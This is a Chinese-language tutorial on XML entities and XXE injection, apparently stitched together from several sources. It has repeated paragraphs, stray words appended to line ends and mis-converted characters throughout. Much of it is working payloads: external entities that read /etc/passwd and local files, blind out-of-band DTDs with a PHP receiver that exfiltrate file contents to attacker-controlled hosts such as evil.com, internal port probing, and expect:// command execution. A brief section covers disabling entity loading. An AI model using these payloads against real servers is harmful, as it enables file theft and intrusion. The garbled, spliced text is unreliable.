XML由3個部分構成,它們分別是:文檔類型定義(Document Type Definition,DTD),即XML的佈局語言;可擴展的樣式語言(Extensible Style Language,XSL),即XML的樣式表語言;以及可擴展連接語言(Extensible Link Language,XLL)。php
XML:可擴展標記語言,標準通用標記語言的子集,是一種用於標記電子文件使其具備結構性的標記語言。它被設計用來傳輸和存儲數據(而不是儲存數據),可擴展標記語言是一種很像超文本標記語言的標記語言。它的設計宗旨是傳輸數據,而不是顯示數據。它的標籤沒有被預約義。您須要自行定義標籤。它被設計爲具備自我描述性。它是W3C的推薦標準。html
可擴展標記語言(XML)和超文本標記語言(HTML)爲不一樣的目的而設計html5
它被設計用來傳輸和存儲數據,其焦點是數據的內容。java
超文本標記語言被設計用來顯示數據,其焦點是數據的外觀node
XML使用元素和屬性來描述數 據。在數據傳送過程當中,XML始終保留了諸如父/子關係這樣的數據結構。幾個應用程序 能夠共享和解析同一個XML文件,沒必要使用傳統的字符串解析或拆解過程。 相反,普通文件不對每一個數據段作描述(除了在頭文件中),也不保留數據關係結構。使用XML作數據交換可使應用程序更具備彈性,由於能夠用位置(與普通文件同樣)或用元素名(從數據庫)來存取XML數據。python
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素linux
<?xml version="1.0" encoding="UTF-8"?>git
<!-- ⬆XML聲明⬆ -->github
<!DOCTYPE 文件名 [web
<!ENTITY實體名 "實體內容">
]>
<!-- ⬆文檔類型定義(DTD)⬆ -->
<元素名稱 category="屬性">
文本或其餘元素
</元素名稱>
<!-- ⬆文檔元素⬆ -->
XML用於標記電子文件使其具備結構性的標記語言,能夠用來標記數據、定義數據類型,是一種容許用戶對本身的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD(文檔類型定義)的做用是定義 XML 文檔的合法構建模塊。DTD 能夠在 XML 文檔內聲明,也能夠外部引用。
<!DOCTYPE 根元素 [元素聲明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。
DTD(文檔類型定義)的做用是定義XML文檔的合法構建模塊。DTD能夠在XML文檔內聲明,也能夠外部引用。
外部實體是指XML處理器必須解析的數據。它對於在多個文檔之間建立共享的公共引用頗有用。對外部實體進行的任何更改將在包含對其的引用的文檔中自動更新。即XML使用外部實體將信息或「內容」將自動提取到XML文檔的正文中。爲此,咱們須要在XML文檔內部聲明一個外部實體
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。。咱們能夠在內部肯定其值(內部子集):
或從外部來源:(外部子集):
注意到SYSTEM標識符沒?該標識符意味着該實體將從外部來源獲取內容,在本例中,該內容是「site.com」下的一個頁面。
爲了聲明這些實體,咱們須要在文檔類型定義(DTD)中進行。DTD是一組標記聲明,用於定義XML的文檔類型。它定義了XML文檔的合法結構塊和具備合法元素和屬性列表的文檔結構。DTD能夠在XML文檔內部聲明,也能夠做爲外部引用聲明—使用SYSTEM標識符指向可解析位置中的另外一組聲明。ENTITY可使用SYSTEM關鍵字,調用外部資源,而這裏是支持不少的協議,如:http;file等,而後,在其餘DoM結點中可使用如:&test;引用該實體內容.
那麼,若是在產品功能設計當中,解析的xml是由外部可控制的,那將可能造成,如:文件讀取,DoS,CSRF等漏洞.
若是要引用一個外部資源,能夠藉助各類協議 幾個例子:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
咱們來看一個DTD的例子,一個在DTD裏面有一個SYSTEM標識符的實體:
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。
一個內部實體聲明
<!ENTITY 實體名稱 "實體的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
註釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)。
一個外部實體聲明
<!ENTITY 實體名稱 SYSTEM "URI/URL">
或者
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部實體類型有
CDATA 指的是不該由 XML 解析器進行解析的文本數據(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的開始)和 "&" (字符實體的開始)是非法的。
某些文本,好比 JavaScript 代碼,包含大量 "<" 或 "&" 字符。爲了不錯誤,能夠將腳本代碼定義爲 CDATA。
CDATA 部分中的全部內容都會被解析器忽略。
CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結束
XML 中的實體分爲如下五種:字符實體,命名實體,外部實體,參數實體,內部實體,普通實體和參數實體都分爲內部實體和外部實體兩種,外部實體定義須要加上 SYSTEM關鍵字,其內容是URL所指向的外部文件實際的內容。若是不加SYSTEM關鍵字,則爲內部實體,表示實體指代內容爲字符串。
指用十進制格式(&#aaa;)或十六進制格式(પ)來指定任意 Unicode 字符。對 XML 解析器而言,字符實體與直接輸入指定字符的效果徹底相同。
也稱爲內部實體,在 DTD 或內部子集(即文檔中 <!DOCTYPE> 語句的一部分)中聲明,在文檔中用做引用。在 XML 文檔解析過程當中,實體引用將由它的表示替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>
能夠用作xxe+ssrf
外部實體表示外部文件的內容,用 SYSTEM 關鍵詞表示。
<!ENTITY test SYSTEM "1.xml">
有些XML文檔包含system標識符定義的「實體」,這些文檔會在DOCTYPE頭部標籤中呈現。這些定義的’實體’可以訪問本地或者遠程的內容。好比,下面的XML文檔樣例就包含了XML ‘實體’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的代碼中, XML外部實體 ‘entityex’ 被賦予的值爲:file://etc/passwd。在解析XML文檔的過程當中,實體’entityex’的值會被替換爲URI(file://etc/passwd)內容值(也就是passwd文件的內容)。 關鍵字’SYSTEM’會告訴XML解析器,’entityex’實體的值將從其後的URI中讀取,並把讀取的內容替換entityex出現的地方。
假如 SYSTEM 後面的內容能夠被用戶控制,那麼用戶就能夠隨意替換爲其餘內容,從而讀取服務器本地文件(file:///etc/passwd)或者遠程文件(http://www.baidu.com/abc.txt)
參數實體只用於 DTD 和文檔的內部子集中,XML的規範定義中,只有在DTD中才能引用參數實體. 參數實體的聲明和引用都是以百分號%。而且參數實體的引用在DTD是理解解析的,替換文本將變成DTD的一部分。該類型的實體用「%」字符(或十六進制編碼的%)聲明,而且僅在通過解析和驗證後才用於替換DTD中的文本或其餘內容:
<!ENTITY % 實體名稱 "實體的值">
或者
<!ENTITY % 實體名稱 SYSTEM "URI">
參數實體只能在 DTD文件中被引用,其餘實體在XML文檔內引用。
即下面實例,參數實體 在DOCTYPE內 ,其餘實體在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM 「file:///etc/passwd」>
%name;
]>
參數實體在DTD中解析優先級高於xml內部實體
實體至關於變量 「file:///etc/passwd」賦值給name
先寫一段簡單的xml利用代碼,以php爲例子:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name能夠任意更改。
以下所示:
參數實體的示例:
<!ENTITY 實體名稱 "實體的值">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
如:
<!ENTITY % aaa "233">
參數實體param1中包含內部實體的聲明,用於替代<test>標籤中的實體引用參數。
這裏,必定要注意流程,參數實體在DTD中解析是優先於XML文本中的內部實體解析。
參數實體有幾個特性,這幾個特性也決定了它能被利用的程度:
l 只能在DTD內部
l 當即引用
l 實體嵌套
內置實體爲預留的實體,如:
實體引用字符
< <
> >
& &
" "
' '
而內部實體是指在一個實體中定義的另外一個實體,也就是嵌套定義。
關於實體嵌套的狀況,比較幸運的是DTD中支持單雙引號,因此能夠經過單雙引號間隔使用做爲區分嵌套實體和實體之間的關係;在實際使用中,咱們一般須要再嵌套一個參數實體,%號是須要處理成 % 以下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可寫爲16進制%
另:內部實體的這支持與否也是取決於解釋器的,參考連接4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>
這種命名實體調用外部實體,發現evil.xml中不能定義實體,不然解析不了,感受命名實體好雞肋,參數實體就好用不少
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml文件內容爲
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
調用過程爲:參數實體dtd調用外部實體evil.xml,而後又調用參數實體all,接着調用命名實體send
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml文件內容爲:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
調用過程和第一種方法相似
上圖是默認支持協議,還能夠支持其餘,如PHP支持的擴展協議有
XXE注入,即XML External Entity,XML外部實體注入。經過 XML 實體,」SYSTEM」關鍵詞致使 XML 解析器能夠從本地文件或者遠程 URI 中讀取數據。因此攻擊者能夠經過 XML 實體傳遞本身構造的惡意值,是處理程序解析它。當引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
ENTITY 實體,在一個甚至多個XML文檔中頻繁使用某一條數據,咱們能夠預先定義一個這條數據的「別名」,即一個ENTITY,而後在這些文檔中須要該數據的地方調用它。XML定義了兩種類型的ENTITY,一種在XML文檔中使用
如果在PHP中,libxml_disable_entity_loader設置爲TRUE可禁用外部實體注。入另外一種做爲參數在DTD文件中使用。ENTITY的定義語法:
<!DOCTYPE 文件名 [
<!ENTITY 實體名 "實體內容">
]>
定義好的ENTITY在文檔中經過「&實體名;」來使用。舉例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE booklist [
<!ENTITY publisher "ABC company">
]>
<booklist>
<book>
<name>Ajax</name>
<price>$5.95</price>
<description>Foundations of Ajax.</description>
<publisher>&publisher;</publisher> 這裏的&publisher;會被「ABC company」替換
</book>
<book>
<name>Ajax Patterns</name>
<price>$7.95</price>
<description>Introduction of Ajax Patterns.</description>
<publisher>&publisher;</publisher> 這裏的&publisher;會被「ABC company」替換
</book>
</booklist>
在 XML 中有 5 個預約義的實體引用:
< |
< |
小於 |
> |
> |
大於 |
& |
& |
和號 |
' |
' |
省略號 |
" |
" |
引號 |
註釋:嚴格地講,在 XML 中僅有字符 "<"和"&" 是非法的。省略號、引號和大於號是合法的,可是把它們替換爲實體引用是個好的習慣。
既然XML能夠從外部讀取DTD文件,那咱們就天然地想到了若是將路徑換成另外一個文件的路徑,那麼服務器在解析這個XML的時候就會把那個文件的內容賦值給SYSTEM前面的根元素中,只要咱們在XML中讓前面的根元素的內容顯示出來,不就能夠讀取那個文件的內容了。這就形成了一個任意文件讀取的漏洞。
那若是咱們指向的是一個內網主機的端口呢?是否會給出錯誤信息,咱們是否是能夠從錯誤信息上來判斷內網主機這個端口是否開放,這就形成了一個內部端口被探測的問題。另外,通常來講,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內存中,進行解析;另外一種是一部分一部分的、「流式」地加載、解析。若是咱們遞歸地調用XML定義,一次性調用巨量的定義,那麼服務器的內存就會被消耗完,形成了拒絕服務攻擊。
構造本地xml接口,先包含本地xml文件,查看返回結果,正常返回後再換爲服務器。
payload以下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root>
<name>&xxe;</name>
</root>
讀取aa.txt的內容:
通常在漏洞挖掘中咱們是猜想不到<root></root>裏面是name標籤的。因此咱們用另外一種方法更靠譜:推薦網站:http://ceye.io/payloads
找到網站上自帶的XML注入利用代碼:
稍微整理下生成payload以下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">
%remote;]>
<root/><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">
%remote;]>
<root/>
看下如今是幾點鐘:
晚上八點多鐘,咱們複製payload發送請求:
看下網站裏面自帶的日誌功能:
應該是時間延遲問題。反正相差十分鐘之內!
這裏接收到咱們的payload請求說明是存在XML注入的,用這種方法測試XML注入我感受很好
1.能夠無限制盲打
2.測試簡單方便不須要很繁瑣測試猜想
payload以下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>
成功探測到內網端口內部信息。
我這是在windows下測試,假如是linux下還能夠命令執行:
在安裝expect擴展的PHP環境裏執行系統命令,其餘協議也有可能能夠執行系統命令
測試payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
這裏讀取系統命令ifconfig讀取ip
方案:使用開發語言提供的禁用外部實體的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML外部實體(XXE)攻擊是許多基於注入的攻擊方式之一,當攻擊者將聲明XML消息中的外部實體發送到應用程序並使用XML解析器解析時,就會發生這種攻擊。這個漏洞有許多不一樣的類型和行爲,由於它可能會發生在不一樣類型的技術中—由於不一樣類型的XML解析器的緣由。在這種狀況下,使人高興的是,每一個解析器具備不一樣的功能和「特徵」。
在咱們開始以前,讓咱們先認識下可能面臨的最多見的XXE漏洞類型—瞭解這些漏洞類型將有助於咱們調試攻擊並建立最終正確的POC:
1.基礎的XXE注入— 外部實體注入本地DTD
2.基於盲注的XXE注入—XML解析器在響應中不顯示任何錯誤
3.基於錯誤的XXE注入—成功解析以後,XML解析器始終顯示SAME響應。(即「您的消息已被接收」),所以,咱們可能但願解析器將文件的內容「打印」到錯誤響應中。
按照上一個概述,咱們能夠經過使用SYSTEM標識符來引用外部實體的數據。因此如今咱們能夠引入XXE注入的第一種技術,它將外部實體注入到包含引用本地文件路徑(如/ etc / passwd)的SYSTEM標識符的XML文檔中:
如今讓咱們作一個更復雜和更嚴重的攻擊:
若是做爲通用功能的一部分,應用程序服務器沒有做出迴應呢?(記得剛剛提到的基於錯誤的XXE嗎?)
若是咱們想從其中具備XML特殊字符的外部源讀取數據呢?若是在解析過程當中解析失敗呢?
這時咱們能夠加載引用咱們的遠程服務器並嘗試從其URL獲取內容的輔助外部DTD—這能夠是一組字符,或下面的示例轉儲文件,最重要的是它甚至沒有通過XML模式驗證過程,由於它在解析器甚至獲取遠程內容以前發送!
例如,遠程DTD文件—包含帶有SYSTEM標識符和「file」處理程序的參數實體。請注意,參數實體「file」也鏈接到實體「send」內的URL:
解析DTD後,咱們獲得如下實體:
最終,服務器會嘗試以文件內容發送參數「c」所指定的內容,到達咱們定義的URL—咱們記錄該內容,並經過這樣作來轉儲文件的內容:
步驟A:
步驟B: — 遠程DTD正在解析。咱們正在竊取文件的內容...
步驟C:
咱們成功獲得文件內容!
用這種技術記住的幾件事情:
文件內容中的字符「#」將致使URL截斷。
若是咱們使用「or」定義參數實體,內容可能會中斷。
這取決於咱們使用的是哪一種(因此請確保在出現錯誤的狀況下同時使用這兩種測試場景)。
有時候,當解析過程成功時,當咱們從服務器獲得通用的響應時,咱們可能但願服務器返回詳細錯誤—所以,咱們可使用與遠程DTD相同的技術,但會發生故意的錯誤如:
解析器將嘗試解析DTD並訪問發送實體中給出的路徑,可是因爲不能到達「my-evil-domain。$$$$ 」,咱們將致使如下錯誤:
而後咱們就能夠根據信息調試咱們本身的payload!# 安全脈搏 https://www.secpulse.com/archives/58915.html
請注意,由服務器響應的任何錯誤顯示哪一行致使解析錯誤,同時出現語法錯誤,有時咱們可能會使用此信息來調試咱們本身的payload,使用「\ n」。例如:
<!DOCTYPE Author[ \ n
<!ENTITY %% intentate_error_here「test」>]> \ n
包含payload的兩個額外的「\ n」會在第一行「\ n」以後的第2行中出現錯誤,而其他的XML內容將會顯示在第3行。
總之,XXE是一個很是強大的攻擊,它容許咱們操縱錯誤的XML解析器並利用它們。請注意,有更多的技術和攻擊利用方式能夠經過XXE注入完成。如前所述,每一個解析器都有不一樣的能力,所以咱們能夠提出不一樣的漏洞:
此表由研究員Timothy Morgan提供—這些協議可用於上傳文件(jar:// ..),在舊版本Java中容許任意數據經過TCP鏈接(gopher:// ..),閱讀PHP源代碼查看PHP的處理方式。
本身嘗試下載咱們的演示實驗室,能夠在這裏下載!該演示包含一個帶有XML有效載荷的.NET xml解析器和須要的遠程DTD文件。
對於傳統的XXE來講,要求有一點,就是攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件。例如:
提交請求:
<!ENTITY file SYSTEM 「file:///etc/passwd」>
<username>&file;</username>
服務器在這個節點中返回etc/passwd的文件內容:
<username>root:1:3.......</username>
若是服務器沒有回顯,只能使用Blind XXE漏洞來構建一條帶外信道提取數據。
(2)參數實體和內部參數實體
Blink XXE主要使用了DTD約束中的參數實體和內部實體。
參數實體是一種只能在DTD中定義和使用的實體,通常引用時使用%做爲前綴。而內部實體是指在一個實體中定義的另外一個實體,也就是嵌套定義。
如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
可是在我研究過程當中,發現內部實體的這支持與否也是取決於解釋器的。
IE/Firefox:
Chrome:
這也是比較蛋疼的特性,由於php,java,C#等語言的內置XML解析器都是有必定差異的,也就給漏洞利用帶來不便。
若是目標服務器沒有回顯,就只能用 Blind XXE 了。原理就是帶着獲取的文件源碼以 get 參數或其餘形式去訪問咱們的服務器,而後在日誌裏就能夠找到咱們要獲取的內容了。
Blink XXE主要使用了DTD約束中的參數實體和內部實體。
參數實體是一種只能在DTD中定義和使用的實體,通常引用時使用%做爲前綴。而內部實體是指在一個實體中定義的另外一個實體,也就是嵌套定義。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
]>
<root>&send;</root>
xxx.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
這裏解釋下,%remote; 會把外部文件引入到這個 XML 中,%all; 替換爲後面的嵌套實體,這時再在 root 節點中引入 send 實體,即可實現數據轉發。若是在 xxx.xml 中 send 實體是參數實體的話,也能夠採用下面的形式。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
%send;
]>
xxx.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
對於傳統的XXE來講,要求在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,例如上述方式一。
若是服務器沒有回顯,只能使用Blind XXE漏洞來構建一條帶外信道提取數據(Out-Of-Band)。
但直接在內部實體定義中引用另外一個實體的這種方法行不通
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
最簡單的無非是經過參數實體引用,發送一個http請求到咱們服務器,而後觀察咱們服務的日誌
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">
%remote;]>
<root/>
若是在服務日誌上能接收到則說明存在漏洞
因而考慮內部實體嵌套的形式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
可是這樣作行不通,緣由是不能在實體定義中引用參數實體,即有些解釋器不容許在內層實體中使用外部鏈接,不管內層是通常實體仍是參數實體。
解決方案是:
將嵌套的實體聲明放入到一個外部文件中,這裏通常是放在攻擊者的服務器上,這樣作能夠規避錯誤。
和引入方式三有些雷同,以下:
src.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>•
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•
實體remote,all,send的引用順序很重要,首先對remote引用目的是將外部文件evil.xml引入到解釋上下文中,而後執行%all,這時會檢測到send實體,在root節點中引用send,就能夠成功實現數據轉發。
另一種方法是使用CDATA,可是並不是像wooyun文章說的那樣能夠讀取任意值
php://filter/convert.base64-encode/resource=想要讀取的文件路徑
1.file:///能夠列目錄:
2.OOB:
gopher(1.7u7, 1.6u32之前|7u9 6u37之前 ?),配合nc;其餘狀況用ftp
3.上傳文件:
須要進行長連接,經過jar協議(jar:http://127.0.0.1:2014/xxe.jar!/)
https://github.com/pwntester/BlockingServer
4.ftp oob:
在jdk 1.6.35 以上,能夠讀取tomcat-users,若是管理頁面不刪,版本若是高於前述狀況,也應該能讀取
注意:1.6.31如下是不行的,所以結合文件上傳和gopher協議來看,基於tomcat成功的getshell,主要因素在於jdk版本,成功的範圍很小
5.讀XML標籤及屬性值
前提是內部須要設置 factory.setValidating(true)
例1:讀取屬性值
xml文檔中的標籤屬性需經過ATTLIST爲其設置屬性
語法格式:
<!ATTLIST 元素名 屬性名 屬性值類型 默認值>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tomcat-users [
<!ELEMENT role EMPTY>
<!ELEMENT user EMPTY>
<!ATTLIST user
username (a|b) #REQUIRED
password (a|b) #REQUIRED
>
]>
<tomcat-users>
<role rolename="tomcat"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
</tomcat-users>•
java Xerces方法的解析結果爲(其餘解析方式不行):
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".
實際運用時,是沒辦法解析tomcat-users.xml的文檔的,由於會把 XML 聲明代入而形成解析出錯
例2:定義標籤順序報錯
具體示例以下:
首先創建DTD文件,文件名:person.dtd
文件內容:
<?xml version="1.0" encoding="utf-8" ?>
<!ELEMENT person (name, sex, birthday)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT birthday (#PCDATA)>•
而後創建兩個利用這個dtd文件的xml文件
文件名:person.xml
文件內容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
</person>
文件名:worker.xml
文件內容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
<job>it</job>
</person>•
咱們能夠看到worker.xml文件不符合dtd的規定,多了一個job的標籤。
而後創建java文件
文件名:ValidateXMLDTD.java
package xmlvalidate;
import java.io.FileNotFoundException;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
public class ValidateXMLDTD {
public static void main(String[] args) {
// System.out.println("測試符合DTD規範的XML文件");
// testPerson();
// System.out.println("測試不符合DTD規範的XML文件");
// testWorkder();
}
public static void testPerson() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true); //這裏很重要
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("person.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void testWorkder() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true);
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("worker.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}•
修改一下main方法中的註釋語句,運行一下,執行結果:
運行testPerson的時候,只輸出:測試符合DTD規範的XML文件
,而運行testWorker的時候,輸入以下內容:測試不符合DTD規範的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired. Parser will use a default
ErrorHandler to print the first 10 errors. Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"
【1.php】
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>
【test.php】
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
【evil.xml】
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
訪問http://localhost/test.php, 這就是模擬攻擊者構造XXE請求,而後存在漏洞的服務器會讀出file的內容(c:/1.txt),經過帶外通道發送給攻擊者服務器上的1.php,1.php作的事情就是把讀取的數據保存到本地的1.txt中,完成Blind XXE攻擊。
攻擊以後1.txt中的數據:
攻擊者服務器日誌:
遇到XML相關的交互過程,以以下步驟判斷是否存在漏洞:
(1)檢測XML是否會被解析:
<?xml version=」1.0」 encoding=」UTF-8」?>
<!DOCTYPE ANY [
<!ENTITY shit 「this is shit」>
]>
<root>&shit;</root>
若是$shit;變成了」this is shit」,那就繼續第二步。
(2)檢測服務器是否支持外部實體:
<?xml version=」1.0」 encoding=」UTF-8」?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM 「http://youhost/evil.xml」>
%shit;
]>
經過查看本身服務器上的日誌來判斷,看目標服務器是否向你的服務器發了一條請求evil.xml的HTTP request。
(3)若是上面兩步都支持,那麼就看可否回顯。若是能回顯,就能夠直接使用外部實體的方式進行攻擊。固然有時候服務器會不支持通常實體的引用,也就是在DTD以外沒法引用實體,若是這樣的話,只能使用Blind XXE攻擊。
(4)若是不能回顯,毫無疑問,使用Blind XXE攻擊方法。
當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
引入外部實體方式有多種,好比:
XML內容:
<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]>
其中attack.dtd的內容爲:
<!ENTITY b SYSTEM "file:///etc/passwd">
XML內容:
DTD文件(evil.dtd)內容:
XML內容:
DTD文件(evil.dtd)內容:
另外,不一樣程序支持的協議不同,
上圖是默認支持協議,還能夠支持其餘,如PHP支持的擴展協議有
準備一個有XXE漏洞的文件,以下:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//註釋掉該語句即爲無回顯的狀況
?>
xxe利用主要有:任意文件讀取、內網信息探測(包括端口和相關web指紋識別)、DOS攻擊、遠程命名執行
POC主要有:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
不一樣程序支持的協議不一樣
任意讀取的代碼:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
